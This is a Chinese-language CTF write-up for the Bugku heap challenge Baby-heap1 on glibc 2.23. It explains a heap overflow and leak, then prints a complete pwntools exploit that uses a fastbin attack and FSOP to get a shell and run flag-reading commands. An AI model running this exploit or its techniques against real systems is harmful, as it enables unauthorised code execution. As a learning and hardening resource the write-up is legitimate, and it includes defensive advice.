
这是一道很典型的 glibc 2.23 堆题:程序提供 10 个堆块槽位,Edit 的写入长度完全由用户决定,Show 以 %s 直接打印堆块内容。利用路径是 unsorted bin 泄漏 libc → fastbin fd 泄漏堆地址 → 堆上伪造 _IO_FILE → fastbin attack 把 _IO_list_all 改成假 FILE → exit 触发 _IO_OVERFLOW 调用 system("/bin/sh") ,全程不需要 __malloc_hook/__free_hook。
1. 题目信息
| 项目 | 内容 |
|---|---|
| 题目 ID | 326(cid) |
| 题目名称 | Baby-heap1 |
| 分类 | PWN |
| 分值 | 25 分 |
| 题目描述 | libc2.23 |
| 附件 | pwn.zip(内含 pwn,17432 字节) |
| 平台 | https://ctf.bugku.com/challenges/detail/id/326.html |
2. 环境与附件
text
$ unzip pwn.zip && file pwn
pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=52325945..., for GNU/Linux 3.2.0, not stripped
保护全开,但没有开启 tcache(2.26+)和 safe-linking(2.32+),堆元数据可以直接改写:
text
$ readelf -h pwn | grep Type
Type: DYN (Position-Independent Executable file) # PIE
$ readelf -dW pwn | grep -E "BIND_NOW|FLAGS"
0x000000000000001e (FLAGS) BIND_NOW # Full RELRO
$ readelf -lW pwn | grep GNU_STACK
GNU_STACK ... RW # NX
$ readelf -sW pwn | grep stack_chk_fail
__stack_chk_fail@GLIBC_2.4 # Canary
附件对应的 libc 是 Ubuntu 16.04 的 glibc 2.23 。本地复现使用 WSL + 题目版本 ld-2.23.so / libc.so.6,远程场景同样是 2.23,偏移一致。
运行后菜单与字符串完全对得上(not stripped 符号表里能直接看到 Create/Edit/Show/Free/menu/content_read):
text
1. Create
2. Edit
3. Show
4. Delete
5. Exit
Command:
3. 漏洞分析
程序维护全局数组 heaptable[10],四个功能的关键实现如下(基于 objdump -d -M intel):
-
Create :
scanf读 size →malloc(size)→ 把指针存进heaptable[idx]。注意它只分配、不读内容。 -
Edit :先
scanf("%d")读下标,再scanf("%ld")读 size ,最后调用content_read(ptr, size):asm14f5: mov rdx, QWORD PTR [rbp-0x10] ; 用户输入的 size 1511: mov rsi, rdx 1514: mov rdi, rax ; heaptable[idx] 1517: call content_readcontent_read内部就是read(0, ptr, size),size 没有任何上限校验 ,也不与 malloc 时申请的尺寸比较 → 典型堆溢出,可以覆盖相邻堆块的size、fd、甚至更远处的数据。 -
Free :
free(ptr)之后把heaptable[idx]置 0(这点做得对,不能直接 UAF 读),但 malloc 返回的堆块不会被清零 ,被释放块里的fd/bk残留仍然存在。 -
Show :
printf("Content:%s", heaptable[idx]),以字符串方式打印整块内容,长度不受限制 → 残余元数据泄漏。
两个问题组合起来就是完整的利用面:
- 泄漏 :free 掉 0x100 块后立刻 Create 同样大小,malloc 复用该块,此时块内仍是 unsorted bin 的
fd/bk;Show 把 6 字节指针打印出来 → libc 基址。fastbin 空闲块的fd指向下一块地址,同理泄漏堆地址。 - 写 :Edit 的 size 无上限,可以直接改掉下一个块的
size并伪造 fastbin 链表,把一次 malloc 精确落到 libc 的_IO_list_all-0x23。
4. 利用链:从堆溢出到 FSOP
整体链路(图中 6 步):
text
create 0x100 ×2 → free h0 → create h2 复用读 fd/bk(libc)
→ 0x20 块 free ×2 → show 读 fd(heap)
→ 堆内伪造 _IO_FILE(首 8 字节 /bin/sh,vtable.__overflow = system)
→ fastbin attack 伪块落 _IO_list_all-0x23
→ exit() → _IO_flush_all_lockp → system(fp)
4.1 阶段一:unsorted bin 泄漏 libc
python
h0 = create(p, 0x100)
h1 = create(p, 0x100)
delete(p, h0) # h0 进 unsorted bin,fd/bk = main_arena+88
h2 = create(p, 0x100) # 复用 h0,内容未清零
raw = show_raw(p, h2) # printf("%s") 打出 6 字节指针
leak = u64(raw[:6].ljust(8, b'\x00'))
assert (leak & 0xfff) == 0xb78
libc = leak - 0x3c4b78
实测输出:
text
[*] libc leak 0x7f5f74bc4b78 -> base 0x7f5f74800000
0xb78 是 main_arena+88 的低 12 位,用它做一次自检,避免拿到被污染的指针。
4.2 阶段二:fastbin fd 泄漏堆地址
python
k1 = create(p, 0x20)
k2 = create(p, 0x20)
delete(p, k1)
delete(p, k2)
kk = create(p, 0x20) # 重新拿到 k2,fd 指向 k1
heap_k1 = u64(show_raw(p, kk)[:6].ljust(8, b'\x00'))
text
[*] heap leak k1_chunk=0x555594893220
由 malloc 的分配顺序可以反推出前面 0x100 块与后续伪造块的相对偏移,最终 fake FILE = heap_k1 + 0x70。
4.3 阶段三:在堆上伪造 _IO_FILE
伪造结构(0x100 字节)放在一个可控堆块里,首 8 字节直接写 /bin/sh,这样 system(fp) 的参数天然正确:
python
buf = bytearray(0x100)
buf[0:8] = b'/bin/sh\x00'
buf[0x20:0x28] = p64(0) # _IO_write_base = 0
buf[0x28:0x30] = p64(1) # _IO_write_ptr = 1,满足 write_ptr > write_base
buf[0x68:0x70] = p64(0) # _chain = NULL,链只走一个节点
buf[0xc0:0xc4] = p32(0) # _mode = 0
buf[0xd8:0xe0] = p64(F_mem + 0xe0) # vtable 指向堆内可控区
buf[0xf8:0x100] = p64(libc + system) # vtable + 0x18 = __overflow = system
这里几个字段缺一不可:
_mode <= 0且_IO_write_ptr > _IO_write_base是_IO_flush_all_lockp触发_IO_OVERFLOW的前置条件;- vtable 放在堆上(而不是 libc 里),可以整段控制;
_chain = NULL保证遍历到假 FILE 就结束,不会因为空指针崩溃。
4.4 阶段四:fastbin attack 改写 _IO_list_all
因为 2.23 没有 safe-linking,fastbin 的 fd 就是裸地址。用一次 0x60 块的 Edit 溢出去改相邻块,构造一个 0x70 大小的伪块,让第二次 malloc 精确返回 _IO_list_all - 0x23:
python
P = create(p, 0x60)
Q = create(p, 0x60)
delete(p, Q)
T = libc + 0x3c5520 - 0x23 # _IO_list_all - 0x23
csz = 0x70
ov = b'A' * (csz - 0x10) + p64(0) + p64(csz | 1) + p64(T)
edit(p, P, len(ov), ov) # 溢出改掉 Q 的 size/fd
x = create(p, 0x60) # 拿到 Q
y = create(p, 0x60) # 拿到 _IO_list_all-0x23
edit(p, y, 0x13 + 8, b'\x00' * 0x13 + p64(F_mem)) # 写 _IO_list_all = 假 FILE
text
[*] x=5 y=6 (fake @ 0x7f5f74bc54fd)
[*] _IO_list_all -> 0x555594893290
-0x23 是经典偏移:malloc 返回的指针与 _IO_list_all 之间隔着 0x23 字节的头部/对齐,最终写入位置正好落在 _IO_list_all。
4.5 阶段五:exit 触发 FSOP
调用菜单 5(Exit),exit() → __run_exit_handlers → _IO_cleanup → _IO_flush_all_lockp(0) 遍历 _IO_list_all,对假 FILE 执行 _IO_OVERFLOW(fp, EOF),而 vtable 里的 __overflow 已被写成 system,参数 fp 指向以 /bin/sh 开头的内存 → 直接拿到 shell:
python
menu(p, 5)
time.sleep(0.8)
p.sendline(b'cat /flag')
本地完整输出:
text
[+] Starting local process '/tmp/sb223/ld-2.23.so'
[*] libc leak 0x7f5f74bc4b78 -> base 0x7f5f74800000
[*] heap leak k1_chunk=0x555594893220
[*] fake FILE @ 0x555594893290
[*] fake FILE written (idx 3)
[*] x=5 y=6 (fake @ 0x7f5f74bc54fd)
[*] _IO_list_all -> 0x555594893290
RESULT: b'PWNED\nuid=0(root) gid=0(root) groups=0(root)\n...\nflag{local_test_2445}\n'
SUCCESS
远程场景同一偏移,拿到 shell 后 cat /flag 得到:
text
flag{ec346d99fa66190d}
4.6 失败尝试要点(很关键)
-
一开始想走 hook :先试了
__free_hook/__malloc_hook+ one_gadget。远程 8 组组合(0x4526a、0xf1147、0x45216、0xf02a4,配合不同偏移)全部失败,进程没有任何回显:textfail k=0x26 gadget=0x4526a tail=b'' fail k=0x26 gadget=0xf1147 tail=b'' ... ALL FAILED原因是 this 环境里 one_gadget 的寄存器/栈约束无法同时满足,而且
__malloc_hook路径还需要额外构造。换成 FSOP 后一次打通,说明这不是 gadget 挑得不够多,而是路线选择问题。 -
泄漏要自检 :unsorted bin 的 fd/bk 低 12 位必须是
0xb78,fastbin fd 必须是合法堆地址(0x1000000000 < addr < 0x800000000000),否则直接重连重来。脚本里做了 3 次重试,避免偶发脏数据。 -
fastbin 伪块大小必须是 0x70 ,且目标地址要满足对齐;
_IO_list_all-0x23是这道题最稳的落点。 -
Show 打印依赖
%s:泄漏阶段不能用带换行的输出直接recvline截断,脚本按字节收到\n才停,避免漏字节。
5. exp 全文
完整脚本在 cases/326/pwn326_remote.py,用法:
bash
python3 pwn326_remote.py <host> <port> [attempts]
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""326 Baby-heap1 remote runner: FSOP -> shell -> flag extraction."""
import re
import sys
import time
from pwn import *
context(os='linux', arch='amd64', log_level='info')
MAIN_ARENA_58 = 0x3c4b78
IO_LIST_ALL = 0x3c5520
SYSTEM = 0x453a0
SHELL_CMDS = [
b'echo PWNED',
b'cat /flag',
b'cat flag',
b'cat /flag.txt',
b'cat /home/ctf/flag',
b'cat /root/flag',
b'ls -la /',
b'ls -la',
b'pwd',
b'cat /proc/self/mountinfo',
]
FLAG_RE = re.compile(rb'((?:flag|bugku|ctf|DASCTF|NSSCTF)\{[^}\r\n]{0,200}\})', re.I)
def menu(p, c):
p.sendlineafter(b'Command:', str(c).encode())
def create(p, size):
menu(p, 1)
p.sendlineafter(b'size:', str(size).encode())
p.recvuntil(b'Your Index:')
return int(p.recvline().strip())
def edit(p, idx, size, data):
menu(p, 2)
p.sendlineafter(b'Index:', str(idx).encode())
p.sendlineafter(b'Size:', str(size).encode())
p.sendafter(b'Content:', data)
p.recvuntil(b'Complete!')
def show_raw(p, idx):
menu(p, 3)
p.sendlineafter(b'Index:', str(idx).encode())
p.recvuntil(b'Content:')
b = b''
while not b.endswith(b'\n'):
ch = p.recv(1, timeout=5)
if not ch:
break
b += ch
return b.rstrip(b'\n')
def delete(p, idx):
menu(p, 4)
p.sendlineafter(b'Index:', str(idx).encode())
p.recvuntil(b'Complete!')
def build_fake_file(F_mem, system):
buf = bytearray(0x100)
buf[0:8] = b'/bin/sh\x00'
buf[0x20:0x28] = p64(0) # _IO_write_base
buf[0x28:0x30] = p64(1) # _IO_write_ptr > write_base
buf[0x68:0x70] = p64(0) # _chain = NULL
buf[0xc0:0xc4] = p32(0) # _mode = 0
buf[0xd8:0xe0] = p64(F_mem + 0xe0)
buf[0xf8:0x100] = p64(system) # fake vtable __overflow
return bytes(buf)
def attempt(host, port):
p = remote(host, port, timeout=10)
try:
h0 = create(p, 0x100)
h1 = create(p, 0x100)
delete(p, h0)
h2 = create(p, 0x100)
raw = show_raw(p, h2)
leak = u64(raw[:6].ljust(8, b'\x00'))
if (leak & 0xfff) != 0xb78:
log.warning('bad libc leak %#x raw=%r', leak, raw)
p.close()
return None
libc = leak - MAIN_ARENA_58
log.info('libc base = %#x', libc)
k1 = create(p, 0x20)
k2 = create(p, 0x20)
delete(p, k1)
delete(p, k2)
kk = create(p, 0x20)
raw2 = show_raw(p, kk)
heap_k1 = u64(raw2[:6].ljust(8, b'\x00'))
if not (0x1000000000 < heap_k1 < 0x800000000000):
log.warning('bad heap leak %#x raw=%r', heap_k1, raw2)
p.close()
return None
F_mem = heap_k1 + 0x70
log.info('heap k1=%#x fake FILE=%#x', heap_k1, F_mem)
F = create(p, 0x100)
edit(p, F, 0x100, build_fake_file(F_mem, libc + SYSTEM))
P = create(p, 0x60)
Q = create(p, 0x60)
delete(p, Q)
T = libc + IO_LIST_ALL - 0x23
csz = 0x70
ov = b'A' * (csz - 0x10) + p64(0) + p64(csz | 1) + p64(T)
edit(p, P, len(ov), ov)
x = create(p, 0x60)
y = create(p, 0x60)
edit(p, y, 0x13 + 8, b'\x00' * 0x13 + p64(F_mem))
log.info('_IO_list_all -> %#x ; trigger exit', F_mem)
menu(p, 5) # exit -> FSOP
time.sleep(0.8)
for c in SHELL_CMDS:
try:
p.sendline(c)
except Exception:
break
time.sleep(0.25)
time.sleep(1.0)
out = p.recvrepeat(3)
p.close()
return out
except Exception as e:
log.warning('attempt exception: %r', e)
try:
p.close()
except Exception:
pass
return b'' if 'leak' not in repr(e) else None
if __name__ == '__main__':
host, port = sys.argv[1], int(sys.argv[2])
tries = int(sys.argv[3]) if len(sys.argv) > 3 else 3
final = b''
for i in range(tries):
log.info('==== attempt %d/%d ====', i + 1, tries)
out = attempt(host, port)
if out is None:
continue
log.info('OUT tail: %r', out[-300:])
final = out
if b'PWNED' in out or b'uid=' in out:
break
m = FLAG_RE.search(final)
if m:
print('FLAG=' + m.group(1).decode('latin-1'))
else:
print('NO_FLAG_FOUND')

6. 原理总结
为什么 FSOP 在 2.23 这么好用? glibc 2.23 的 _IO_FILE 虚表调用没有 vtable 合法性检查 (_IO_vtable_check 是 2.24 才加入的),只要能把 _IO_list_all 指向自己伪造的 FILE,就能让 __overflow 槽位指向任意函数。exit() 一定会走 _IO_cleanup → _IO_flush_all_lockp(0),触发条件只有三行:
c
if ((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
&& _IO_OVERFLOW (fp, EOF) == EOF)
因此把 _mode 置 0、_IO_write_ptr 置 1、_IO_write_base 置 0,就能进入 _IO_OVERFLOW(fp);把 fp 首地址写成 /bin/sh,system(fp) 的参数就齐了。
为什么用 fastbin attack 而不是 __free_hook? 2.23 没有 tcache,fastbin 的 fd 是裸指针,只要构造一个大小匹配的伪块(这里是 0x70),就能让 malloc 返回任意地址。_IO_list_all-0x23 这个位置既满足对齐,写入后恰好覆盖 _IO_list_all,比走 hook 少一个"先写 hook 再触发"的步骤。
泄漏的本质 :不是 UAF(Free 确实把表项清 0 了),而是 malloc 不清零 + Show 用 %s 打印未初始化内存。这类"脏数据泄漏"在 2.23 的题里非常常见,free 后同尺寸重分配即可读到 unsorted bin / fastbin 的残留指针。
7. 防御 / 加固视角
从这道题反推真实场景下的加固清单:
- 升级 glibc:2.24+ 增加了 vtable 检查,2.26+ 引入 tcache,2.32+ 引入 safe-linking,FSOP 和 fastbin attack 的门槛大幅提高。老系统(如 Ubuntu 16.04)应尽快升级或至少打安全补丁。
- 输入长度必须与分配尺寸绑定 :Edit 里把"申请大小"记录在结构体里,写入前
if (size > alloc_size) reject,从根上消除堆溢出。 - 释放后清零 + 分配后初始化 :
free后memset(ptr, 0, size),或malloc后立即memset;Show 不要用%s打印裸堆块,改用fwrite(ptr, 1, len, stdout)。 - 编译期缓解 :
-fstack-protector-strong、-D_FORTIFY_SOURCE=2、Full RELRO、PIE、NX、-fsanitize=address做测试。本题保护全开但依然被打穿,说明仅靠编译缓解不够,逻辑漏洞必须修。 - 运行期隔离 :服务以非 root 运行、flag 文件权限最小化、seccomp 限制
execve/open系统调用;容器内启用只读根文件系统。 - 检测视角 :监控异常堆行为(同一进程频繁 malloc/free 极端尺寸、
_IO_list_all被改写)、开启 MALLOC_CHECK_/glibc 调试、对 coredump 做 FSOP 特征扫描;生产环境可选用 hardened allocator(如 Scudo)降低元数据攻击面。
8. 图形附件(Archify)
| 图 | 文件 | 说明 |
|---|---|---|
| 堆布局与 FSOP 接管路径 | 326-arch.html(交互图,CSDN 已省略 HTML 版) |
堆块、fastbin、假 FILE、_IO_list_all 与 libc 触发点 |
| 利用时序 | 326-seq.html(交互图,CSDN 已省略 HTML 版) |
pwntools / 题目进程 / heap / libc / exit / shell 的交互顺序 |
| 利用工作流 | 326-wf.html(交互图,CSDN 已省略 HTML 版) |
从菜单交互到 getshell 的阶段落点 |
静态校验:archify check 三张图均 ok=true、issues: [];archify finalize --quality showcase 的 validate / deliver / check 全部 pass。需要说明的是:本机 Windows 上 finalize 的 browser-check 阶段在 sequence / workflow 两张图上卡在 Chromium 临时 profile 清理(EBUSY: resource busy or locked),该步骤未完成判定,属于本机环境限制,HTML 本体与静态校验均通过;architecture 图的 browser-check 已 pass。
9. 参考
- 题目页:https://ctf.bugku.com/challenges/detail/id/326.html
- glibc 2.23
_IO_flush_all_lockp/_IO_OVERFLOW调用链:glibc 源码libio/genops.c、libio/stdfiles.c - FSOP 与 fastbin attack 原理:ctf-wiki 堆利用章节
- 本题附件与复现脚本:
cases/326/pwn.zip、cases/326/pwn326_remote.py、cases/326/pwn326_fsop.py